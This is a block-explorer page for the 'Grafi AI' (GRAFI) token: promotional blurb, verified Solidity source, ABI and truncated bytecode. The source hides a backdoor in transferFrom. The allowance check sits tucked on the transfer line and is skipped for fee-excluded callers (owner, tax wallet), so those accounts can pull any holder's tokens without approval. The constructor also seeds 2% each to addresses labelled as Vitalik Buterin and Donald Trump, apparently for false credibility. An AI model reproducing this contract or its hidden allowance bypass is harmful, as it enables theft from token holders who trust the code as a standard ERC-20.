ETH Price: $2,714.62 (+1.77%)
Gas: 0.79 Gwei

Token

Grafi AI (GRAFI)
 

Overview

Max Total Supply

100,000,000 GRAFI

Holders

408

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,951,134.93309893 GRAFI

Value
$0.00
0x357B2Efa706EA6Dd5b82f46829e8AF3b95Cc4035
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GRAFI

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : GRAFI.sol
/*
    Grafi AI offers a CeDePIN GPU marketplace for AI startups, machine learning research, gaming companies, and rendering jobs. Join us to leverage powerful GPU resources and earn rewards.

    https://grafi-ai.xyz 
    https://docs.grafi-ai.xyz 
    https://x.com/Grafi_AI 
    https://t.me/GrafiAI 

*/

pragma solidity 0.8.28;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract GRAFI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialTax=3;
    uint256 private _finalTax=0;
    uint256 private _reduceTaxAt=6;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100_000_000 * 10**_decimals;
    string private constant _name = unicode"Grafi AI";
    string private constant _symbol = unicode"GRAFI";
    uint256 private _taxSwap = 1_000_000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    address private dead = 0x000000000000000000000000000000000000dEaD;
    address private constant VitalikButerin = address(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045);
    address private constant realDonaldTrump = address(0x94845333028B1204Fbe14E1278Fd4Adde46B22ce);

    event MaxTxAmountUpdated(uint _maxTxAmount);


    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }


    constructor () payable {
        _taxWallet = payable(_msgSender());
        _balances[address(this)] = _tTotal * 96 / 100;
        _balances[VitalikButerin] = _tTotal * 2 / 100;
        _balances[realDonaldTrump] = _tTotal * 2 / 100;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), address(this), _tTotal * 96 / 100);
        emit Transfer(address(0), VitalikButerin, _tTotal * 2 / 100);
        emit Transfer(address(0), realDonaldTrump, _tTotal * 2 / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 

    function transferFrom(address sender, address recipient, uint256 amount) public override  returns (bool) {
        _transfer(sender, recipient, amount);if(swapEnabled && !_isExcludedFromFee[_msgSender()])
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != address(this) && to != address(this)) {
            if(!inSwap){
              taxAmount = amount.mul((_buyCount>_reduceTaxAt)?_finalTax:_initialTax).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                _buyCount++;
            }

            if (!inSwap && to == uniswapV2Pair && swapEnabled ) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if (contractTokenBalance > 0)
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _taxSwap))
                    );
                sendETHToFee(address(this).balance);
            }
        }

        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
    }


    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }


    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    receive() external payable {}

    function manualSend(address _newWallet) external {
        require(_msgSender() == _taxWallet);
        sendETHToFee(address(this).balance);
        _taxWallet = payable(_newWallet);
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newWallet","type":"address"}],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260036005555f60065560066007555f6008556009600a61002491906107f1565b620f4240610032919061083b565b6009555f600b60156101000a81548160ff0219169083151502179055505f600b60166101000a81548160ff02191690831515021790555061dead600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6100ba61065260201b60201c565b9050805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35061016461065260201b60201c565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606460606009600a6101b591906107f1565b6305f5e1006101c4919061083b565b6101ce919061083b565b6101d891906108a9565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460026009600a61022b91906107f1565b6305f5e10061023a919061083b565b610244919061083b565b61024e91906108a9565b60015f73d8da6bf26964af9d7eed9e03e53415d37aa9604573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460026009600a6102b591906107f1565b6305f5e1006102c4919061083b565b6102ce919061083b565b6102d891906108a9565b60015f7394845333028b1204fbe14e1278fd4adde46b22ce73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f61034061065960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460606009600a6104bb91906107f1565b6305f5e1006104ca919061083b565b6104d4919061083b565b6104de91906108a9565b6040516104eb91906108e8565b60405180910390a373d8da6bf26964af9d7eed9e03e53415d37aa9604573ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a61056891906107f1565b6305f5e100610577919061083b565b610581919061083b565b61058b91906108a9565b60405161059891906108e8565b60405180910390a37394845333028b1204fbe14e1278fd4adde46b22ce73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a61061591906107f1565b6305f5e100610624919061083b565b61062e919061083b565b61063891906108a9565b60405161064591906108e8565b60405180910390a3610901565b5f33905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115610702578086048111156106de576106dd610680565b5b60018516156106ed5780820291505b80810290506106fb856106ad565b94506106c2565b94509492505050565b5f8261071a57600190506107d5565b81610727575f90506107d5565b816001811461073d576002811461074757610776565b60019150506107d5565b60ff84111561075957610758610680565b5b8360020a9150848211156107705761076f610680565b5b506107d5565b5060208310610133831016604e8410600b84101617156107ab5782820a9050838111156107a6576107a5610680565b5b6107d5565b6107b884848460016106b9565b925090508184048111156107cf576107ce610680565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6107fb826107dc565b9150610806836107e5565b92506108337fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461070b565b905092915050565b5f610845826107dc565b9150610850836107dc565b925082820261085e816107dc565b9150828204841483151761087557610874610680565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6108b3826107dc565b91506108be836107dc565b9250826108ce576108cd61087c565b5b828204905092915050565b6108e2816107dc565b82525050565b5f6020820190506108fb5f8301846108d9565b92915050565b6128998061090e5f395ff3fe6080604052600436106100c5575f3560e01c806370a082311161007e5780638da5cb5b116100585780638da5cb5b1461025657806395d89b4114610280578063a9059cbb146102aa578063dd62ed3e146102e6576100cc565b806370a08231146101ee578063715018a61461022a5780638a8c523c14610240576100cc565b806306fdde03146100d0578063095ea7b3146100fa57806318160ddd1461013657806323b872dd14610160578063313ce5671461019c57806360a6f45a146101c6576100cc565b366100cc57005b5f5ffd5b3480156100db575f5ffd5b506100e4610322565b6040516100f19190611b0f565b60405180910390f35b348015610105575f5ffd5b50610120600480360381019061011b9190611bc0565b61035f565b60405161012d9190611c18565b60405180910390f35b348015610141575f5ffd5b5061014a61037c565b6040516101579190611c40565b60405180910390f35b34801561016b575f5ffd5b5061018660048036038101906101819190611c59565b61039f565b6040516101939190611c18565b60405180910390f35b3480156101a7575f5ffd5b506101b06104e3565b6040516101bd9190611cc4565b60405180910390f35b3480156101d1575f5ffd5b506101ec60048036038101906101e79190611cdd565b6104eb565b005b3480156101f9575f5ffd5b50610214600480360381019061020f9190611cdd565b610596565b6040516102219190611c40565b60405180910390f35b348015610235575f5ffd5b5061023e6105dc565b005b34801561024b575f5ffd5b5061025461072c565b005b348015610261575f5ffd5b5061026a610c4f565b6040516102779190611d17565b60405180910390f35b34801561028b575f5ffd5b50610294610c76565b6040516102a19190611b0f565b60405180910390f35b3480156102b5575f5ffd5b506102d060048036038101906102cb9190611bc0565b610cb3565b6040516102dd9190611c18565b60405180910390f35b3480156102f1575f5ffd5b5061030c60048036038101906103079190611d30565b610cd0565b6040516103199190611c40565b60405180910390f35b60606040518060400160405280600881526020017f4772616669204149000000000000000000000000000000000000000000000000815250905090565b5f61037261036b610d52565b8484610d59565b6001905092915050565b5f6009600a61038b9190611eca565b6305f5e10061039a9190611f14565b905090565b5f6103ab848484610f1c565b600b60169054906101000a900460ff168015610415575060035f6103cd610d52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156104d8576104d784610426610d52565b6104d28560405180606001604052806028815260200161283c6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610489610d52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461158b9092919063ffffffff16565b610d59565b5b600190509392505050565b5f6009905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661052b610d52565b73ffffffffffffffffffffffffffffffffffffffff161461054a575f5ffd5b610553476115ed565b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105e4610d52565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066890611f9f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610734610d52565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b890611f9f565b60405180910390fd5b600b60149054906101000a900460ff1615610811576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080890612007565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108ad30600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6108999190611eca565b6305f5e1006108a89190611f14565b610d59565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610917573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093b9190612039565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109c1573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109e59190612039565b6040518363ffffffff1660e01b8152600401610a02929190612064565b6020604051808303815f875af1158015610a1e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a429190612039565b600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac930610596565b5f5f610ad3610c4f565b426040518863ffffffff1660e01b8152600401610af5969594939291906120cd565b60606040518083038185885af1158015610b11573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b369190612140565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c0c929190612190565b6020604051808303815f875af1158015610c28573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c4c91906121e1565b50565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4752414649000000000000000000000000000000000000000000000000000000815250905090565b5f610cc6610cbf610d52565b8484610f1c565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbe9061227c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c9061230a565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0f9190611c40565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8190612398565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ff8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fef90612426565b60405180910390fd5b5f811161103a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611031906124b4565b60405180910390fd5b5f5f90503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156110a657503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156112db57600b60159054906101000a900460ff166110fe576110fb60646110ed600754600854116110da576005546110de565b6006545b8561165590919063ffffffff16565b6116cc90919063ffffffff16565b90505b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111a75750600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111fa575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156112175760085f815480929190611211906124d2565b91905055505b600b60159054906101000a900460ff161580156112805750600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80156112985750600b60169054906101000a900460ff165b156112da575f6112a730610596565b90505f8111156112cf576112ce6112c9846112c484600954611715565b611715565b61172d565b5b6112d8476115ed565b505b5b61132b8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461199890919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506113ce611382828461199890919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119e190919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611471848661199890919063ffffffff16565b60405161147e9190611c40565b60405180910390a35f811115611585576114de8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119e190919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161157c9190611c40565b60405180910390a35b50505050565b5f8383111582906115d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c99190611b0f565b60405180910390fd5b505f83856115e09190612519565b9050809150509392505050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611651573d5f5f3e3d5ffd5b5050565b5f5f8303611665575f90506116c6565b5f82846116729190611f14565b90508284826116819190612579565b146116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b890612619565b60405180910390fd5b809150505b92915050565b5f61170d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a3e565b905092915050565b5f8183116117235782611725565b815b905092915050565b6001600b60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561176457611763612637565b5b6040519080825280602002602001820160405280156117925781602001602082028036833780820191505090505b50905030815f815181106117a9576117a8612664565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561184d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906118719190612039565b8160018151811061188557611884612664565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506118eb30600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d59565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161194d959493929190612748565b5f604051808303815f87803b158015611964575f5ffd5b505af1158015611976573d5f5f3e3d5ffd5b50505050505f600b60156101000a81548160ff02191690831515021790555050565b5f6119d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061158b565b905092915050565b5f5f82846119ef91906127a0565b905083811015611a34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2b9061281d565b60405180910390fd5b8091505092915050565b5f5f83118290611a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7b9190611b0f565b60405180910390fd5b505f8385611a929190612579565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611ae182611a9f565b611aeb8185611aa9565b9350611afb818560208601611ab9565b611b0481611ac7565b840191505092915050565b5f6020820190508181035f830152611b278184611ad7565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611b5c82611b33565b9050919050565b611b6c81611b52565b8114611b76575f5ffd5b50565b5f81359050611b8781611b63565b92915050565b5f819050919050565b611b9f81611b8d565b8114611ba9575f5ffd5b50565b5f81359050611bba81611b96565b92915050565b5f5f60408385031215611bd657611bd5611b2f565b5b5f611be385828601611b79565b9250506020611bf485828601611bac565b9150509250929050565b5f8115159050919050565b611c1281611bfe565b82525050565b5f602082019050